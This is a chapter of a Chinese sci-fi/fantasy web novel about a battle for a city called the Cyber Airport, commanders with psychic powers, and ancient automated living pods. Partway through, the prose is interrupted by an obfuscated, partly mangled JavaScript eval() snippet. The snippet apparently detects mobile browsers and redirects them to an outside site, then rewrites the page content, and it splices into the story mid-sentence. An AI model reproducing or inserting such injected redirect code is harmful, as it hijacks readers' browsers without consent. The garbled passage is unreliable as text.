众人心情激动，很快扭转战局，藤萝蹲在队员们身后，闭目构思，她手边出现黑雾，渐渐构成一支0元素的CM9狙击枪，她知道一刻都不能停，人的大脑不像电脑，没有稳定性，必须立刻瞄准射击，得益于她精湛的枪法，这次一枪命中两个侍灵的水母头，枪却因为思绪被环境干扰而消散了，仅仅因为构想这一枪，藤萝就感觉意识有些疲惫，一时无法再做到了，可是这片战线的队员们士气高涨，突进到与紫洋集群平行的位置。 西部战线跟上了中线，侍灵残兵再组成一支部队冲击东翼的千鸟集团，千里大胆的分出一个集团，引一半侍灵部队在雪原里兜了一圈，大大减轻千鸟部的压力，轻松获胜，可头戴兔耳的千里却被侍灵孤立围住，她蹦跳猛逃，红莲支援过来，不然她就要变成兔肉馅了。 进攻西翼的侍灵部队像是撞到了铁板，不服阳荷将军的人望不行，周围的队员看她红色长发飘荡在红衣背后，威猛无比的身姿独面数千侍灵，众人齐心协力，纷纷冲杀，一步不退。 远处的曼达集团和竹桃集团倒是有些掉队，所幸她俩武技高超，激励了身边队员，也攻破了侍灵部队，三万侍灵几番冲突后只剩一万多个，退回城下阵地，侍灵指挥官开始用城防重炮和灵能炸弹，消耗人类战线。 灵能炸弹是中心发蓝光，外部发白的光球，命中物体或地面扩散成10米范围的网状淡蓝色光球，对物体有分解式的毁伤效果，会缓慢消耗队员的0元素含量。 炸弹呈抛物线飞来，幸亏敌方不懂后勤营地里有弱能队员休整，专注轰击前排战线。 演奏与伴舞 战线推进到距离赛博空港仅剩5公里时，人们得以看清这座宏伟的高科技城市。 赛博空港，原名赛博桶城，赛博两字寄托了南极古人对美好未来的愿景，用各种电子技术建造这座实验都市，空港二字源于最终战争后，南极王将此城内部设备全部离线化和自动化，使其免疫电子战并自律运行，后改建为空中港口，曾经盛产蜂鸟型无人机。 从空中俯瞰空港山脉向南弯曲，呈月牙形，山谷里正上演着侍灵和人类的大战。 从地面看山脉南侧，不知因何神秘力量削切成的平滑的直壁，像圆桶的内壳，赛博空港就位于直壁正中，是接天连地的一道巨型黑影。山脉正上方夜空的冻云中，有一个巨大无比的棕色肚皮，是灵能时区飞艇的腹部，这台飞艇可能已经损坏了，并没向下提供光照。 空港城市黑影内部，高低错落的钢墙里面，闪动各种信号灯，不时还有蜂鸟型无人机飞出，维修城市外部设施，山顶最高点的有防空巨炮阵地在持续开火。 由于战线缩短，各精锐集团和主力集群已经缩成了围绕赛博空港的半圆包围圈，主力集群三分之二的队员能量不足，退往后方，精锐集团也折损过半，各将军在战斗中重新编队。 就在此时，侍灵指挥官派出了两万侍灵，意图在远程火力的掩护下，迟滞并消耗人类队伍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875305|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>将军们刚一交战，就发现这次的侍灵不同以往，队形有序，战术高效，不再各自为战，包围圈僵持了不到10分钟，正南的紫洋集群大有崩盘之势，她们后方就是休整的队员，情况危急，红莲带队接敌，没想到这方向的侍灵居然一剑砍不死，水母头掉了还能战斗，动作也比一般侍灵快出二倍，光刀的攻击也提高二倍，打的红莲也挨了三剑。 这就是侍灵吗？ 对决外星科技，战术不能用常理安排。 她用意识通信加嘴巴大喊：“将军级队员及三星队员全来这！通知业凰预备队顶上！” 业凰队员的参战，缓解了包围圈其他方向的溃败，唯独正面战场，集结了人类阵营的所有武技高手，勉强能战个平手，北方的灵能炸弹还是雨点般的轰击这里，代表高星队员们一定会被这股敌人耗死！ 细心的天荷一刻读出了超级侍灵的数量，是3651人，以某个圆心，成正圆形编队战斗，奇怪的是，有些武技平平的侍灵一旦进入这个范围就立马变成超级侍灵，偶尔有侍灵被队员抓住拖出这个正圆范围就立刻变弱了，按范围重新清点一遍，由于队员人数更多，侍灵部队被压缩到很小的战场里，范围内的超级侍灵被挤成了4227人！ 天荷急揪红莲的大衣角。 “是范围！以某个移动物体为圆心的正圆！” 红莲也留意到了超级侍灵的增减规律很奇怪，但她没天荷这么快速摸清奥秘，她脱战后定睛观察，算出了圆心位置，一手握剑，一手压剑，一刻突刺！ 这招一命剑的威力强到激发气爆，炸散了不少侍灵，但红莲在冲锋过程里没法回避侍灵的刀，挨了十几刀，超级侍灵群向正中心也一刻聚拢，某人用侍灵同伴的身体堆成盾牌，挡下了红莲的致命一击，而红莲大喊：“分隔！” 铃兰和野芹当即听懂了命令，带两精锐集团，隔断了超级侍灵部队和大部队的联系，红莲站定，她周围的侍灵没做攻击，渐渐散开，阵中走出一名机械人。 机械外骨骼包在透明塑胶皮肤上，皮肤内部有半透明的白光，透过白光可见金属骨骼和线缆，从体型看是一名女性，或者说曾经是女性，人们就不免观察它的脸孔，一张平静且冷漠的美人脸，红眼白发，长发上安装着一对V形天线，引人瞩目的是它额头刻了一个V字。 “您好。” 红莲没搭话，缓缓向后退步。 “我是灵能会歌剧院副指挥官演奏家，你们的武技太精彩了。” 红莲退到安全距离，才跟它说话。 “我是人类总帅红莲，你们能撤离赛博空港吗？” “哈哈哈！” 演奏家的机械手，刚才始终保持指挥交响乐的动作，笑的时候，礼貌的捂了一下嘴巴，红莲察觉它停止指挥的一瞬里，超级侍灵变弱，被队员们斩杀不少，而演奏家很快恢复了指挥动作，种种迹象表明，它就是赋予侍灵超强战力的罪魁祸首，而它极似人类的举止，红莲却没闲心想太多。 它笑完，继续说：“请不要误会，我对人类的憎恨一点不比神少，我只是很久没用嘴说话了呢，想找个人聊聊？” “目标就是它！” 红莲的一声令下，无数武技高手一起涌向演奏家，波涛汹涌的攻势被侍灵部队舍身挡住，最强的二人心有灵犀，同时从南北夹击目标，红莲的剑斩杀了四个侍灵后，将演奏家逼的向北倾倒，野芹趁机飞身横斩，却没砍演奏家的头，刀锋瞬抵红莲的脖颈。 真是危险常伴己身的警觉，红莲在刹那间用出绝命剑，甩剑弹开了野芹的剑，红莲再握剑抵挡野芹的攻势，人类阵营一下大乱，大家都不知道发生了什么。 阳荷急中生智，跟摩罗一起把紫洋按跪在地上，刀架在她脖子上，可野芹没有一点变化，还是猛攻红莲。 “你俩干嘛！不是我让她砍红莲啊！” 阳荷放开紫洋，众人在混乱的战场里勉强应付超级侍灵，铃兰集团封不住包围，再加上演奏家趁乱向北移动，使灵能光环BUFF覆盖了侍灵大部队，这时侍灵还有一万五千多人，而人类一方在灵能炸弹的轰击下又过半败退。 简单来说，要完了。 要说战场上除了天荷，还有谁冷静，那就是小兔子千里副官了，她被红莲喊来，可她剑术平平呀，逃跑的天赋倒是一流，她就这么在混战里辗转腾挪，避开侍灵刀剑，甚至躲开灵能炸弹，大家的0元素存量都不够六成了，可她还有95%！ 千里就这样在生死搏命的战场里闲逛时，偶然发现敌军中有个机器人跳着奇怪舞蹈，流线型的机器身体，关节很像人偶娃娃的球形关节，在不停扭动，超长的银色头纱飘绕其身，还挺好看的，偶尔能看到它的面容，娇小可爱，像个瓷娃娃。 “哎！你看那个！” 黑巴打的正忙，被千里突然从背后一拍，古怪诡异的跳舞机器人也让黑巴眯眼探头观察，身为武者的黑巴，马上看出那机器人的动作是武技，却很像真我剑术，在看野芹和红莲的战斗，分明是那机器人一比一还原了野芹的剑术，原来如此！ 黑巴悄悄接近，再施展一命剑猛冲，沿途挨了几刀，野芹却不攻红莲了，替那机器人当下了黑巴的剑，而野芹落地的位置恰好在演奏家的光环范围里，红莲好不容易把野芹引出来，急忙去救，可战斗力翻倍的野芹实在厉害，红莲没法保留实力了。 极命剑。 是种禁忌。 它以人的身心和灵魂为材料，换来一招比一招强的究极剑击。 红莲看不清什么，视线如梦流转，用一道剑光挡住野芹的攻击，第二剑直刺跳舞机器人。野芹去挡红莲，她俩越战越离跳舞机器人更近，直到野芹挡不住红莲的突刺，那机器人散碎一地，不再跳舞了。 野芹终于清醒，她狂暴的冲向演奏家将它斩成碎片，再继续狂杀侍灵，靠她这阵挽救，侍灵队形大乱，顷刻全灭。 铃兰知道红莲用完极命剑就极速衰弱，找到红莲，搀扶她往后方移动。 “不，我不能走，我撤了，人心就散了，替我下令，存量四成的队员全上，攻陷空港！” 红莲大喊着，挣脱铃兰的手，跌倒，爬起，继续向北战斗，全员传递命令，有些三星队员刚恢复到20%能量就加入战场，一时间，赛博空港城下到处都是黑衣队员，甚至后勤队员都混在里面，所有人都知道成败在此一举。 鏖战唱歌者 尽管侍灵方阵的炮击再猛，也顶不住三十万队员的猛冲，这时人们才明白灵能炸弹是从侍灵手炮中发射的。 这种侍灵没配双刀，右小臂上套了一根像战斗机发动机喷口的武器，喷口张大就发射灵能迫击炸弹，喷口缩小就变成速射机炮，发射灵能子弹，人类阵营将其命名为弹幕型迫击枪侍灵。 队员们杀穿弹幕型侍灵的方阵，最后的五千侍灵纷纷逃往城内，就当人类以为必胜，后方的后勤队员连运输车都开过来之时。 “真没想到。” 一句话就让500米范围的队员全部倒地，话的声音随风扩散到更远范围，队员都捂耳朵，跪地惨叫，没被声音波及的队员发现城门跳下一人，就冲过去砍它。 “舞蹈家和演奏家会输。” 第二句话彻底摧毁了众人的意识，它说的每个字，都像数百亿种疼痛和刑罚，直击队员们的身心，有人翻了白眼，眼泪和口水流了一地，浑身抖动，要不是0元素顽强的修复人体，大家已经死了，可不死也许是更惨的折磨。 有人早已饱经痛苦，红莲艰难的站起来，又跌倒，她用黑剑支撑身体，勉强看清了敌人面貌。 小腿是机械的，大腿有人类皮肤，连衣裙款式的银色装甲，手臂是机械，面容和演奏家长的一样，带了超大的白色头纱，耳朵是一对扩音器。 “嗯？居然有人能在我的话术里站着。” “你是谁？” “灵能会歌剧院长唱歌者。” 敌人说的每个字都是真实的精神攻击，红莲的精神力原本就因极命剑而骤降，她很像用出一命剑，清除这最后的敌人。 “你给我死吧！” 红莲说罢，空挥一剑就摔倒了。 “哼哼！哈哈！嗯~你们才该死呢，弱小卑鄙的人类，我怎么杀，都杀不腻呢！哈哈！” 它边说边走，调动声波的攻击范围，还没被它影响的队员撤往外围，思考怎么施救，可唱歌者毕竟是总指挥官，有谋有略，先前撤往城内的五千弹幕侍灵站在城外钢墙上，向下射击，躺地的队员毫无反抗之力。 外围队员们看在眼里急在心里，如果藤萝在外面的话，可以狙击这个怪物，人们看藤萝忍痛往远爬行。 之前说了，有人早已饱尝痛苦，这阵音波攻击只对天荷影响不大，儿时在孕育罐里的剧痛不比唱歌者攻击弱，她悄悄爬动，单手拎动玉珊瑚，再咬住长枪，挑起两名三星队员的衣领，将她们拖入城内，不一会儿，城上的侍灵部队大乱，四人已扰乱了敌人对城下的射击。 唱歌者大惊，扭头向上张望。 “喂！你罗里吧嗦的吵死了！” 野芹同样是对痛感有极强抗性的人，她直挺挺的站起来，正要冲锋，唱歌者大喊创造出一束声波炮，打飞野芹，可她又爬起来了。 唱歌者情急之下，使出看家本领，噬魂歌，歌声附带灵能伤害，导致众人的0元素存量持续减少。 倘若用录音设备录下来听，应该是美妙绝伦的天籁之音。 “喂！你这娘们，让我丢尽人，太敢唱歌？” 野芹的意识也不清醒，她把唱歌者看成了舞蹈家，而唱歌者平生第一次见有人类完全免疫的它的超能力，所以它惊讶的忘了唱歌。 狂暴的野芹一个箭步，就刺死了它。 赛博空港战役以伤亡211人，八成队员的0元素存量不足10%为代价，胜利了。 此后，晴灯博士更新了0元素辅助程序，使队员免疫唱歌者和舞蹈家的超能力。 天狼星技术的武器功效解谜： 极能量束攻击的触点热能逼近物理极限——1.416833(85)×10^32（K），侍灵佩刀的刀刃有一条极细光带，热能可达物理极限的50%，迫击抢的光弹热能达到物理极限的1.5%，人类科研团队推测，灵能会还有威力更大的极能量束武器，其原理可能是灵能者使用惯性约束等方式，束缚光电能，短时间产生的能量极限，由此可摧毁各类防御壁。 28. 章28南极：暂时休整 人们都累坏了，精神衰弱滋长的困意席卷全城，队员横七竖八的躺在赛博空港入口的街道上，三万名一星队员没参与激战，0元素存量充足，她们协助后勤队员把睡着的队员搬到城里，清理主干道以便运输车通行，还要把伤残队员运往临时医疗站，谁也无暇观望宏大的科技城市。 红莲也快睡着了，不过她重任在肩，派了两个班去寻找能当指挥室的场所。 “您好，红莲大人，我在赛博空港工作过。” 一名后勤队员指引红莲一行人来到正门西侧的一处人员休息室，屋内一张桌子，墙上贴着塑料地图，红莲一把扯下，铺在桌上，天荷开灯，千里搬了一些椅子放到桌边。 地图是赛博空港防区图，城内功能区分为：主能源柱和柱中总控室，环柱科研区，城墙多层居住区，一层及地下工业区，山顶防空重炮阵地。 地图还标识了城外包含空港山脉北崖的升降机及暗道，山脉南侧山谷高原的地下网道，以及山顶防空重炮阵地的对地轰炸范围——覆盖北海岸东角和赛博空港城下的空港高原。 “一星队员按这样部署，千里带一个集团在山谷高原设轮岗暗哨，山顶阵地派两集团。” 望江南完成后勤工作，进屋。 “江南你来的正好，去指挥山顶阵地，保持战备。天荷任临时总指挥，其余队员和后勤队员都交给天荷部署吧。” 千里插话：“约一万侍灵部队入关后占领了业凰学院，按兵不动，是要等待大部队围攻我们吗？” 红莲摇头后说：“敌方这次的总指挥是贝家主，我跟她有一面之缘，为人吝啬多疑。天家主评价她干大事惜身，见小利忘命，是典型的守财奴，贝家的没落跟她有脱不开的关系。我听说她先于天家主之前降了灵能会，所以担任人工岛侍灵大军总帅，负责攻略南极。我判断她联络恶毒女王，是想入关后直取首都，抢得头功，现在她见我们这么快攻陷赛博空港，疑心病又犯了，要联络过恶毒，再出发。千里你带一队人监视首都到雪牢关的路线，以女王密使出关作为侍灵大军出动的信号，大家太累了，安心休息吧。” 千里和望江南出屋了，红莲眯着眼，摇晃着头，尽力思索还有什么遗漏的事情，又问。 “对了，战报，人们醒来就编写战斗简报，汇总打印，送到这房间。还有我醒来就得召开后勤会议，成员有天烛，藤萝，望江南，夜兰，千里。天荷，重任先交给你了，我实在。” 红莲说着，趴在桌上睡着了。 她梦到了一位故人，剑术启蒙恩师，黑家主黑月。 黑暗中，身壮如牛的气场如雄狮的女人却穿着纯白的连衣裙，红莲在梦里心想，喂喂，这衣服和你不搭啊。却见她把蓬乱黑发梳展，戴上了一顶草帽，渐渐远离红莲，走向一束白光，光亮渐渐扩散成一片沙滩，上有蓝天，下有大海，一名男子突然出现，黑月欢喜的跑过去，握住他的手，两人看看彼此手上的戒指，再相识欢笑，一起越走越远。 一阵强烈的不安令红莲惊醒，她环视房间，众人好像早就坐好等她了。 天烛关心红莲的状态，就说：“姐姐可以再休息会儿。” “没事，这次极命剑的持续时间只有1.5秒，不太累。不过，我感觉头脑和身体不如之前灵活，你见了铃兰就告诉她，尽力避免用这武技。” 红莲开始查阅一尺高的文件堆，一页放下换一页，一边阅读，一边说话。 “阵亡队员遗体的安置计划呢？” 藤萝抽了一页递给红莲。 “您看这页，队员目击队友消失的汇总报告，队员死亡时的情况是化作黑雾消失。我的推测，因为0元素和意识绑定，存量降至1%以下的某个阈值后，就不再减少了，只保护意识思维，或者说是只保护灵魂信息，身体再遭受攻击，0元素就会烧毁身体，保护意识免于痛苦，客观看，是阵亡了。实际可能仍存活于环境中，但需要观测证据。” 红莲捏住鼻梁，皱眉凝思后说：“这样不行，我们是靠感情支撑战斗，不能对死亡无动于衷，必须留有遗物。” 望江南插话：“可以仿照卫戍军团的徽章，以后制造黄金徽章，扣在黑星上。阵亡队员的徽章统一存放在首都墓地。” “嗯，就这样制定计划书吧。伤残队员的情况怎么样？” 藤萝回答：“侍灵的佩刀太厉害了，一星队员体内0元素一旦降到5%以下，覆盖在皮肤上防护盾就会变的稀薄，承受不住侍灵佩刀的斩击，造成伤残，幸亏0元素会及时封住伤口，伤员的情况都算平稳。” “能行动的残疾队员康复后转成后勤队员。” 藤萝捋了一下翠绿长发，答：“轻微伤残的队员，能长出0元素肢体补足断肢，表现为纯黑色的手脚或指头，活动不如□□灵便，触感较弱。” 天荷插话：“只能修复手脚吗？” 藤萝：“目前是这样。” 天荷：“那应该跟0元素含量有关，队员缓缓摄入更多原初0元素的话，应该能修复任何伤残。” 红莲：“天荷也懂科研吗？” 天荷：“是，我在孕育罐时，重点下载了物理学知识库，对武器研发也颇有研究。” “那好。” 红莲说着，感觉后勤和装备工业的重担能移交给她俩了。 “虽说现在前途未卜，但需未雨绸缪。我今天宣布在座各位是后勤会议成员，会议分两类，后勤侦察通信运输事务由天烛主持并全权负责，我授权千里发一个通告，队员自愿报名成为侦察队员，千里你可以自己去挑，我给你一个集群名额，负责侦察并将情报发给各集群。” “那我姐姐千鸟没有副官了啊！” “我派业凰副官协助她。另一类会议由天荷，藤萝，晴灯轮流主持，负责生活，交通，武器等装备的研发和生产工作。我们休整完就回首都，千鸟集群和藤萝集团留守赛博空港。其他将军级队员醒了吗？” “醒了，在闲逛。” “逛吧，大家都累了，放松一会儿。对了，还有敌将的情报得编写一个档案库，输入到0元素信息板里，要不断更新，这归天烛主持，你分派给后勤队员完成，供队员们了解敌人。” 天烛迷惑不解，就问：“歌剧院三主将不是被我们消灭了吗？” “不是。我听藤萝刚才说0元素有可能保护队员的意识不消亡，就想起天家主的随从元师傅的一句话，说侍灵是永生的。” “永生？” 红莲叹息后说：“对，不是长生不老，永生就包含了死后复活的能力。” 屋内众人听到这话，被震惊和绝望的感觉吞没，进而窒息。 所以灵能会才追求灵能科技啊，这句话，红莲没说，而是起身，散会。 人们跟随红莲出门，回到正门附近，看到主路上停满车辆，队员们已经散到城墙居住区休息了，红莲检查了一辆运输车的货箱，是满满当当的侍灵银衣，另一辆车箱里放着佩刀和三主将的残骸。 “天荷你找熟路的队员带你去主控室吧，搞清科研区的使用方法，就地研究这些敌方装备，用不了这么多，留三套样本，其余先埋到雪原里。天家主非常狡猾，这些东西上可能安装了我们无法察觉的监视设备。” 红莲说着，看到正门左侧堆放着两台防空巨炮，一台已经拆坏，估计侍灵部队是想把它安装到城外布防。 “我交给藤萝你一个优先任务，把这台完整的巨炮装到运输车上，四辆或者八辆运载，炮弹嘛，有一枚就可以。” “做什么用？” “业凰的贝家社员撤离时乘坐的灵能飞艇，可能会被用于战争，我们现在缺乏有效的防空武器，我到时想想办法，总之你按我说的准备吧，完成后去主控室，跟天荷交接。” 藤萝带后勤队员研究火炮运载方法，红莲回身对天烛和望江南说：“你们跟我上山顶防空阵地看看。” 工具化的人世 赛博空港史健于两千多年前的机械太空时代，是夜星文明的科技高峰时期，一切设施采用自动化和模块化设计，自主维护和更新。 现存的城区占地面积为3327万平方米，城内昏暗少光，仅有无处不在的机械信号灯闪烁，建筑主体是一根巨型机械柱，内部有超核反应堆和全城控制模块，柱体中部设有主控室。 能源柱的北部有一片从低到高的厚实机械结构，使能源柱和空港山脉连为一体。 柱子的东西南三侧，插有数不清的机械直桥，周围有可以移动的舱室，悬浮的蜂鸟无人机群正将舱室吊装和搬迁，这些舱室就是科研区。 机械直桥另一端插入城区内墙，通天高的内墙呈桶形，密布各年份建造的居住区，所以密密麻麻，看起来杂乱无章。 红莲三人走到乘车点，数百台蜂鸟无人机在此停放，无人机主体是一个立向的月牙形合金外壳，人员坐在月牙中部，月牙上下有机械臂，月牙背面安装了微核反应堆，驱动高压超导悬浮引擎，该动力装置可在主体背面移动，所以无人乘坐的施工模式，飞行器是平躺飞行。 蜂鸟飞行器降落在城区最高点的露台港口，她们再乘电梯升到山顶。 山顶的面积不宽，仅有600米，全被超级巨炮的炮座占据，所以控制室在巨炮之间的夹缝里，红莲打开主控室玻璃窗的除雪功能，像外瞭望，仅能看到室外走廊和护栏，执勤的队员提醒她有瞭望镜，她用镜查看，北海岸的东角大约有8万侍灵，她换到南侧瞭望镜，城下的山谷高原里有几千队员活动。 “我和天烛出去看看。” 望江南提醒说：“风大，出门扣上安全绳，小心点。” “好。” 门口有增压服，红莲和天烛是0元素队员，不需要穿，她们扣好绳索来到户外，风力极强，二人增大足底能量场，吸附地面，先看壮观的超级巨炮，由超压合金制成的炮管是三管一组，下方的炮座巨大且精密，能做出近似球形的旋转，俯射角很大，所以能覆盖山脉南北两侧地面，发射的破甲弹比肩小型核爆，阵地一轮子母弹就覆盖整个山谷平原。 红莲解开安全绳，跳上炮座，可以看清山顶阵地，能安装炮的位置全有炮台，只是防空炮的大小不同，被侍灵拆掉的是其中最小的型号，据此可见历代南极王是多么重视此地，极尽纯机械武器的能效，设防该城。 两人在各炮台外部的走廊里闲逛，偶尔摘下瞭望镜的防雪护盖，观察北海岸的侍灵部队，红莲逛完，觉得可以回去了，临走向上望一眼灵能时区飞艇的底部，飞艇外壳发着微光，照亮了周围的冻云。 灵能时区飞艇在通常情况，会向下发射强光，照亮所在城市，可这艘飞艇比一般飞艇大很多，而且赛博空港完全密封，不需要光照啊？ 红莲想到这些，快步蹦跳在各炮台之间，赶往飞艇正下方，天烛大喊小心，红莲仰头看着看着，发觉飞艇下方貌似有一根笔直的细线，随她靠近，渐渐清晰，是一根银亮的钢轨，这种微光，像极了侍灵佩刀的光效。 她驻足后，顺着钢轨向下查看，发现身前五米处的岩石中有一个电梯入口，她向前走三步，惊现一条浮空字幕，写着：灵能会B会员号时区飞艇。 天烛气喘吁吁的赶到，眼睁睁的看着红莲把手伸进了石头里。 红莲转身，发觉天烛一脸惊愕，就问：“你看不见吗？” “就是岩石呀，你把手伸进去了，怎么做到的？” 红莲微笑，牵住天烛的手，拉她进入电梯。 这处灵能会的密址，只设了光学隐蔽，没设身份识别，大概是灵能会早期遗留的场所，没有用处，且位于悬崖边的岩石里。 二人启动电梯，上升速度很快，细心的天烛发觉电梯舱内显示屏上渐渐增长的数字单位是一百公里，就指给红莲，她们面面相觑，心想，坏了。 这对姐妹上天的旅程太过缓慢，赛博空港内墙居住区的队员们却遇到趣事。 人类早期的模块化设计只用于电器内部。 夜星黄金时代末期，人工智能技术有大语言模型和仿生机器人两个发展方向，自动化全面取代非创新性劳动，失业盛行，全面福利制在富裕地区试点，人的生存和繁衍需要拆分后形成新的数字货币，总商会下属公司出售的第一代全自动生活舱，其设计理念就是将人放在电器内部。 “啊！” 随着一声尖叫，在城墙居住区一层闲逛的曼达将军和竹桃副官冲入一所房间，电力不足导致室内昏暗，可见床上的队员刚把一个机器人砍成两截，倒地的上半截冒着电火花，下半截还在队员腿边蠕动，队员惊魂未定，正想跟曼达将军讲述遭遇，就发现右小腿上还有机器人的断手，吓的她向后猛缩身子，曼达人高，一步冲过去，把机器人残骸摘掉，队员慌忙抱住自己的上司，一身黑亮皮衣的曼达展露资深教官的温柔，安抚队员。 服务局的课程包含很多生活服务学科，竹桃对古代烹饪技术情有独钟，她很快发现了自动厨艺模块，是一个大型冰箱，竹桃把冰箱中部的出食口盖子强行掰开，向里观察，内部有各种机械臂和软管，随行的后勤队员走到办公桌旁，点亮电脑，扭头看向竹桃，樱桃形的黑色短发，身着黑色无袖短袍，小臂带着一对宽大护袖。 “竹桃副官，那个叫食物供给模块。一星队员砍死这个机器人叫情感服务模块。” 受惊的队员说道：“情感服务？它是想偷袭我！我睡的好好的！这家伙突然把我的腿抬起来！吓死我了！” 曼达看到床后的钢制立柜门开着，柜内有复杂线束和发光电路，她走近查看电路板上的显示屏，滚动字幕写着：仿生塑胶供应不足，皮肤外壳无法生成。 后勤队员依次介绍房间内的电器：有卫生及医疗模块，电动轮椅出行模块，衣物及清洁模块。 竹桃打开衣柜门，发现里面的织物早已腐朽。曼达趴在卫生模块浴室玻璃上，向内看，房间主人的尸骨已碎了一地。 “整个房间的墙是中央计算机，控制各模块为人类提供生活服务。成本有点高啊，我再看看。” 后勤队员说着，浏览第一代全自动生活舱说明书的生产商介绍，她边看边读。 “基于星际殖民需求，人类科技应参考大自然生态系统，提供终身免维护和可进化的机械生态系统，总商会不计资金成本，推出第一代产品，全面革新人类的商业供需关系。” 曼达哼了一声后说：“说到底都是总商会的，它里外都不亏，做实验罢了。” 后勤队员变出0元素信息板，一边记录，一边说：“这种完全独立运行的中央计算机，能免疫北极天家的电子战技术，值得研究，我先标注在工作日志里，以后拖走，拆开看看。” 一星队员跟着其他三人一起出去，沿户外走廊进入隔壁房间。 人们首先向床看，一个机器人骑在队员身上动着，而那队员睡的死沉，众人把机器人拖下来消灭并叫醒队员，可她困的厉害，看看周围没事就又躺下睡着了，一星队员也困，挤在她旁边躺下。 三人环视房间，与刚才的房间一模一样，后勤队员走到电脑桌边查看，小声说出重点。 “一样，这种产品提供给四块大陆的中高收入人士，后期型号要覆盖全体人类。嗯？这房间的主人是位男性。” 曼达和竹桃齐声问：“男人？” 后勤队员点点头，补充说：“这写着，人造子宫技术趋于成熟，体外孕育舱租赁公司负责育儿服务，无论男女，提供基因就可以直接领到孩子。” 曼达急问：“可房间里没有儿童生活过的痕迹啊？” 后勤队员答道：“我猜，大概是因为没人需要吧，所以才有后来的孕育罐基地。” 曼达无语了，见地上有条毯子卷着，她走到床边，蹲下，散开毯子，捏了一点灰尘，闻闻，凭经验判断是人骨粉末。 她站起身，看向床靠的钢制墙面，感慨这对古代男女仅有一墙之隔，却各自孤独而亡，爱情？也是没人需要了吧。 内墙居住区的高楼层可能有更豪华的住所，公主身份的紫洋将军大摇大摆，走在前方，身后跟着两名三星队员护卫，摩罗副官跟在最后。 四人走到一处有玻璃外墙的机械建筑，队员拿手电打光，紫洋望望玻璃墙里面，看不到，于是利用反光照自己的仪表，她先是整理金色长发的公主发式，再把黑大衣递给另一个队员，转身检查黑色制服和筒裙的平整度，曲腿掐腰，摆出造型，欣赏过自己的美妙身段后，队员为她披上大衣，她突然问：“你跟着我干嘛？” “阳荷大人怕您惹出乱子，派我跟着你。” 摩罗说完，挤到紫洋旁边，也照镜子，整理黑色短发和短袍，紫洋皱眉生气了一秒，立马变换成纯真亲切的表情。 “哼！天下大乱还差我添乱嘛？我说，你总露着肩膀不冷嘛？” “不冷，我觉得这样好看。” “吼吼！走！一起进去看看。” 紫洋搂住摩罗的肩膀，迈步进入别墅，队员找到照明开关，一瞬灯火通明，众人揉揉眼睛，才发现室内空空荡荡，只有地当中放了一个巨大的机械蛋，蛋壳正面透明，可见内部有一个完好的仿生机器人和一个人类骨架。紫洋点按控制台开关，蛋壳抬起，人骨跌出摔碎。 “东群岛总商会机器人公司出品第二十七代全自动生活服务舱？” 紫洋念着控制台显示屏的文字，开启环境模拟功能，空荡荡的房间即刻变成蓝天白云，极度拟真，若不是四人明确踩着地面，还真以为自己在蓝天之中，紫洋接下来试看了高山，森林，沙漠，雪原，海滩，以及各种古代建筑。 女孩们看的太投入了，没人真的见过大自然和世界各地的风土人情。 突然，有一个人影出现在她身旁，三星队员和摩罗一起抽剑，将紫洋护在身后，她们仔细打量此人，原来是机械蛋里的仿生机器人走出来了。 它说：“本机距离最后维护日期已过69年，您是新的所有者吗？” 紫洋指指自己，机器人点头后继续说话。 “本机可以满足除生殖以外的一切需求，包括长生，医疗，娱乐，生理及心理服务。请问您要登记为所有者吗？” “好啊！” 紫洋心想，得个有趣的玩具也不错！ 却见那机器人发出诡异杂音，逐渐变形身体，摩罗看了一眼控制台，显示机器人因缺乏维护，无法顺利变换男性身体。 机器人就在众目睽睽之下，向紫洋走来，吓的三人闪到一边，紫洋被机器人一拽，条件反射般的变出黑剑，将它砍倒，房间的环境模拟功能也失效了。 虚惊一场后，摩罗查看机械蛋内的装置，有一个机械头盔和一个排泄模具口，还有很多针筒，很像治疗椅的原理。 四人出别墅后，按别墅外观挑了一所不一样的，进去后发现几乎一样，只是地中心的机械蛋缩到棺材大小，摩罗按出控制台查看。 “光星总商会东南制药公司新一代虚拟现实生活舱，长生功能可将所有者寿命延长至260岁。” “嗨，浪费时间，就是雪原随处可见的睡眠舱，外观这么漂亮，应该是早期型号。古人这恶趣味哎！走吧，我们还是睡车里算了，我看这城市里没一间人住的地方。” 紫洋咒骂着，回到城区地面，听说内墙居住区的最低楼层有床和家电，就去休息了。 B之书 红莲和天烛上升到灵能时区飞艇底部客舱，电梯门打开，室内环境明亮，面积200平米，墙壁和控制台以棕色为主色调，有24把转椅，除此之外再无其他。 天烛走到座位过道中间，地面突然升起一根水晶方柱，吓的她鬓发凌乱，单手梳理整齐，再露出大脑门，另一只手抚顺双排扣队服和百褶裙，最后双手确认脑后盘发规整，保持名门千金的仪态，与红莲相视一笑，红莲在岸防连城西角的海底基地见过这种居环境中央的方柱，代表柱子是核心装置。 这时，水晶内部缓缓涌动灵能，说明它是天狼星技术造物。 “会员B灵能身份信息认证界面？” “嗯？我试试。” 红莲说着，把手按到柱顶画面的手掌轮廓里，字幕变更为认证中，3秒后显示不通过，说明红莲身份信息中的灵能会标签有效，但身份与飞艇控制者不符。 两人笑了，绕着环形控制台尝试启动飞艇，天烛爬上控制台，用手电筒照射客舱舷窗，发现窗外全是冰层，夜星大气层的冻云异常厚实，她爬下来，见红莲拿着一张塑纸，站着不动，黑发在大檐帽下顺直滑散，黑色大衣显露修长身形，气质略显失落。 “怎么了？B之书？” 天烛走近红莲，贴着她一起阅读纸上的文字： B之书复印件 1 灵魂撕裂车的采集效率太低了，一颗灵能风暴炸弹就可以分离五千万到一亿人的意识能量，分离效率够了，天空城的吸收效率不够用，天空城作为时空旋涡，有束缚这颗星球所有灵魂的作用，不能轻易移动。 天狼星人送来了名为生长金属的时空壁材料，我们得建造24架灵能超巨飞艇，采集大气中的意识能量。 我在飞艇数据中发现，古代的灵魂通过大气飘散到太空中了。 